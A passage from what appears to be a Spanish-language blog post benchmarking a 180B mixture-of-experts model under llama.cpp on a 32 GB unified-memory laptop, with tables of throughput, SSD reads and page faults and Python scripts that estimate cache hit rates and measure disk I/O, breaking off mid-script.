&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10 expertos x 48 capas x 3,0 MiB  ~=  1,5 GB de expertos activos por token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con 1,5 GB por token, el cómputo en sí es modesto. Por eso es posible ejecutar un 180B en un equipo de consumo, y por eso &lt;code&gt;llama.cpp&lt;/code&gt; puede mapear el archivo GGUF en memoria (&lt;code&gt;mmap&lt;/code&gt;) y dejar que el sistema operativo traiga del disco solo las páginas que se usan.&lt;/p&gt;

&lt;p&gt;El truco tiene una condición: las páginas que se necesitan en el siguiente token deben seguir en la caché de páginas. Si el sistema las expulsó, hay que volver a leerlas del SSD, y esa lectura es sincrónica con respecto al token que se está generando.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Con qué hardware y qué configuración medimos?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Elemento&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Equipo&lt;/td&gt;
&lt;td&gt;Moore Threads AIBOOK, 12 núcleos ARM Cortex-A78, Ubuntu 24.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Memoria&lt;/td&gt;
&lt;td&gt;32 GB &lt;strong&gt;unificados&lt;/strong&gt; (CPU, GPU y NPU comparten la misma RAM), unos 23 GB disponibles para el proceso&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Almacenamiento&lt;/td&gt;
&lt;td&gt;NVMe de 1 TB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modelo grande&lt;/td&gt;
&lt;td&gt;POCKET-Darwin-180B en GGUF, cuantización UD-Q4_K_XL, 111,3 GB en 4 archivos (SHA-256 verificado contra Hugging Face)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modelos pequeños&lt;/td&gt;
&lt;td&gt;POCKET-35B-Q4_K_M (21,2 GB) y POCKET-26B-Q4_K_M (16,8 GB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Motor&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;llama.cpp&lt;/code&gt; (fork con soporte MUSA), servidor local, 1 solicitud a la vez&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Método&lt;/td&gt;
&lt;td&gt;La misma pregunta (una explicación corta), generación determinista (greedy), 64 tokens (128 en los modelos pequeños), 3 corridas por configuración, mediana&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dos advertencias sobre el método. Primero, es &lt;strong&gt;una sola máquina&lt;/strong&gt; y una sola pregunta, así que sirve para entender dónde está el cuello de botella, no para publicar una cifra de rendimiento general. Segundo, entre corridas hay una variación de aproximadamente &lt;strong&gt;±10%&lt;/strong&gt;, de modo que diferencias del 5% (por ejemplo 10 contra 12 hilos) quedan dentro del ruido.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánto más rápido va un modelo que cabe en memoria?
&lt;/h2&gt;

&lt;p&gt;Este es el resultado que abre el artículo. En la misma máquina, solo con CPU, 10 hilos y tope de 23 GB:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Tamaño en disco&lt;/th&gt;
&lt;th&gt;Generación (mediana de 3)&lt;/th&gt;
&lt;th&gt;Lectura de disco&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;POCKET-26B (Gemma 4 A4B)&lt;/td&gt;
&lt;td&gt;16,8 GB&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;11,79 tok/s&lt;/strong&gt; (10,93 / 12,09 / 11,79)&lt;/td&gt;
&lt;td&gt;casi nula (2,8 MB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;POCKET-35B (Darwin-36B, qwen35moe)&lt;/td&gt;
&lt;td&gt;21,2 GB&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;13,15 tok/s&lt;/strong&gt; (9,64 / 13,15 / 13,25)&lt;/td&gt;
&lt;td&gt;casi nula&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;POCKET-Darwin-180B&lt;/td&gt;
&lt;td&gt;111,3 GB&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;3,13 tok/s&lt;/strong&gt; (2,86 / 3,26 / 3,13)&lt;/td&gt;
&lt;td&gt;cientos de MB por segundo&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Los tres son MoE y activan solo una parte de sus pesos en cada token. Lo que separa a los dos primeros del tercero es que &lt;strong&gt;caben enteros en los 23 GB&lt;/strong&gt; disponibles y el 180B no. Es una correlación en esta máquina, no una prueba causal, pero el siguiente experimento la refuerza.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuánto lee del SSD cada solicitud?
&lt;/h2&gt;

&lt;p&gt;Añadimos al medidor contadores de fallos de página y de bytes leídos (&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/stat&lt;/code&gt; y &lt;code&gt;/proc/diskstats&lt;/code&gt;). Con MTP de profundidad 1 y 10 hilos, para el 180B:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuración&lt;/th&gt;
&lt;th&gt;tok/s (mediana)&lt;/th&gt;
&lt;th&gt;GB leídos por solicitud&lt;/th&gt;
&lt;th&gt;Fallos mayores&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tope de memoria 20 GB&lt;/td&gt;
&lt;td&gt;2,61&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;29,0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;538.140&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tope 23 GB&lt;/td&gt;
&lt;td&gt;2,74&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;22,3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;338.992&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 GB, lectura anticipada apagada (2 corridas)&lt;/td&gt;
&lt;td&gt;2,62 / 3,14&lt;/td&gt;
&lt;td&gt;16,2 / 15,8&lt;/td&gt;
&lt;td&gt;310.160 / 233.193&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 GB, lectura anticipada encendida (2 corridas)&lt;/td&gt;
&lt;td&gt;2,91 / 2,84&lt;/td&gt;
&lt;td&gt;18,8 / 22,2&lt;/td&gt;
&lt;td&gt;227.387 / 304.480&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-67b22dee-77ea-45e3-bb99-86e685fba8e9" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-67b22dee-77ea-45e3-bb99-86e685fba8e9" alt="GB leídos del SSD por solicitud según el tope de memoria" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Una solicitud (unos 95 tokens entre entrada y salida) obliga a leer &lt;strong&gt;entre 16 y 29 GB&lt;/strong&gt; del SSD. Con tres GB más de caché, la lectura bajó de 29,0 a 22,3 GB. Eso es una señal clara: cada gigabyte de residencia que ganas es lectura que dejas de hacer.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué tasa de aciertos de caché implica eso?
&lt;/h2&gt;

&lt;p&gt;Con los datos anteriores se puede estimar cuántos bytes por token &lt;strong&gt;no estaban&lt;/strong&gt; en memoria. Es una cuenta aproximada (supone 95 tokens por solicitud y 1,5 GB de expertos activos por token, e ignora los pesos densos):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;TOK_REQ&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;95&lt;/span&gt;
&lt;span class="n"&gt;EXPERT_MIB&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;LAYERS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="n"&gt;activos_gb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;EXPERT_MIB&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;LAYERS&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;K&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1.048576&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;      &lt;span class="c1"&gt;# ~1,51 GB por token
&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tps&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gb_req&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tope 20 GB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;29.0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tope 23 GB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2.74&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;22.3&lt;/span&gt;&lt;span class="p"&gt;)]:&lt;/span&gt;
    &lt;span class="n"&gt;mb_tok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;gb_req&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;TOK_REQ&lt;/span&gt;
    &lt;span class="n"&gt;fallo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mb_tok&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;activos_gb&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;nombre&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mb_tok&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; MB/token desde disco, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aciertos ~&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;fallo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%, &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
          &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lectura necesaria ~&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;mb_tok&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;tps&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; GB/s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Resultado:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tope 20 GB: 305 MB/token desde disco, aciertos ~80%, lectura necesaria ~0.80 GB/s
tope 23 GB: 235 MB/token desde disco, aciertos ~84%, lectura necesaria ~0.64 GB/s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un acierto de 80% a 84% suena alto, pero fíjate en lo que cuesta el 15% restante: unos 235 MB por token que hay que traer del SSD. Y como los fallos se resuelven de forma sincrónica, el tiempo del token incluye esa espera. Es posible que por eso, con 12 hilos, los 12 núcleos aparezcan ocupados al 1.145% aunque parte de ese uso sea espera activa y no cálculo útil. No separamos todavía esa fracción, así que es una hipótesis, no una medición.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué intentamos para acelerarlo y qué pasó?
&lt;/h2&gt;

&lt;p&gt;Probamos varias vías. La tabla resume lo que quedó medido, siempre en la misma máquina y con la misma pregunta:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuración&lt;/th&gt;
&lt;th&gt;tok/s (mediana de 3)&lt;/th&gt;
&lt;th&gt;Salida&lt;/th&gt;
&lt;th&gt;Nota&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Solo CPU, 10 hilos&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3,13&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;correcta&lt;/td&gt;
&lt;td&gt;el mejor resultado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Solo CPU, 12 hilos&lt;/td&gt;
&lt;td&gt;2,73&lt;/td&gt;
&lt;td&gt;correcta&lt;/td&gt;
&lt;td&gt;dentro del ruido frente a 10 hilos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Solo CPU, 12 hilos, tope 22 GB&lt;/td&gt;
&lt;td&gt;2,48&lt;/td&gt;
&lt;td&gt;correcta&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPU completa + expertos en CPU&lt;/td&gt;
&lt;td&gt;1,60&lt;/td&gt;
&lt;td&gt;correcta&lt;/td&gt;
&lt;td&gt;más lento que solo CPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lo anterior + grafos MUSA&lt;/td&gt;
&lt;td&gt;1,51&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;corrupta&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;salida incoherente, descartada&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Borrador de 4B en GPU (decodificación especulativa)&lt;/td&gt;
&lt;td&gt;1,14&lt;/td&gt;
&lt;td&gt;correcta&lt;/td&gt;
&lt;td&gt;34 de 55 tokens del borrador aceptados (62%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caché de expertos en GPU (4 u 8 GB)&lt;/td&gt;
&lt;td&gt;no medible&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;no arrancó en 5 minutos&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-e1e0bee1-44f8-4bdf-b908-98a13a4e3e40" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-e1e0bee1-44f8-4bdf-b908-98a13a4e3e40" alt="Velocidad de Darwin-180B según la configuración" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hay tres lecciones que sirven más allá de este equipo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;La GPU no ayuda cuando la memoria es la misma.&lt;/strong&gt; En una máquina con memoria unificada, mover los cálculos a la GPU no te da más ancho de banda, porque CPU y GPU leen de la misma RAM. Además, con los expertos en la CPU, cada capa obliga a pasar datos entre ambos lados y a sincronizar. El resultado fue 1,60 contra 3,13 tok/s. Una caché de expertos en GPU añade una copia más de los mismos datos en la misma RAM, justo lo que no sobra.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;La decodificación especulativa tiene un costo distinto en un MoE.&lt;/strong&gt; Un borrador de 4B aceptó el 62% de sus tokens, que es una tasa razonable, y aun así el resultado fue más lento. En un modelo denso, verificar k tokens cuesta casi lo mismo que verificar uno. En un MoE, cada token distinto puede activar otros 10 expertos por capa, así que verificar k tokens se acerca a k veces el trabajo. Con MTP (predicción multitoken) de profundidad 1 vimos una mejora aproximada del 20% en la mediana combinada de dos rondas (3,30 contra 2,74), pero los rangos de las 10 corridas se solapan, por lo que &lt;strong&gt;no lo damos por confirmado&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;La lectura anticipada no resolvió un problema de capacidad.&lt;/strong&gt; Probamos pedir al sistema que precargara los expertos recién elegidos con &lt;code&gt;madvise(MADV_WILLNEED)&lt;/code&gt;. La salida fue idéntica, pero la mejora quedó dentro del ruido y la lectura total de disco aumentó: los expertos precargados se expulsaban de una caché de 23 GB antes de usarse. Cuando el límite es la capacidad, cambiar el orden de las lecturas no ayuda.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cuál es entonces el techo de un 180B en 32 GB?
&lt;/h2&gt;

&lt;p&gt;Sin cambiar la calidad del modelo, nuestra conclusión es un techo cercano a &lt;strong&gt;3 tokens por segundo&lt;/strong&gt; (pasamos de 1,26 en la línea base inicial a unos 3,3 con ajustes, aunque la línea base usaba otro tope de memoria y no es una comparación estricta). Para pasar de ahí hay solo dos caminos honestos:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Más memoria.&lt;/strong&gt; Con 64 GB, más expertos permanecen residentes y los fallos se reducen de forma drástica.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pesos más pequeños.&lt;/strong&gt; Una cuantización más agresiva o menos expertos por token reduce lo que hay que leer, pero &lt;strong&gt;cambia la calidad&lt;/strong&gt;, así que pasa por una medición de precisión antes de adoptarla. En una prueba anterior, reducir a la mitad la cantidad de expertos activos dio una mejora de velocidad de apenas 4,5% a costa de 5,4 puntos de precisión, así que la descartamos.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Y hay un techo que sirve de referencia para cualquier plan que dependa del SSD: si todos los 1,5 GB por token vinieran del disco a 0,6 GB/s (la lectura que observamos), el límite sería de &lt;strong&gt;0,4 tok/s&lt;/strong&gt;. Que alcancemos 3 tok/s es coherente con que más del 80% de lo que se consulta ya esté en memoria (estimación).&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo medirlo en tu propio equipo?
&lt;/h2&gt;

&lt;p&gt;Este script mide lectura de disco y fallos mayores por solicitud contra un servidor &lt;code&gt;llama-server&lt;/code&gt; local. Es genérico: sirve para cualquier modelo GGUF.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;psutil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fallos_mayores&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/proc/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/stat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;campos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;rsplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;campos&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;            &lt;span class="c1"&gt;# majflt: campo 12 del archivo
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;medir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n_predict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;d0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;psutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disk_io_counters&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;fallos_mayores&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/completion&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;900&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;n_predict&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;n_predict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temperature&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t0&lt;/span&gt;
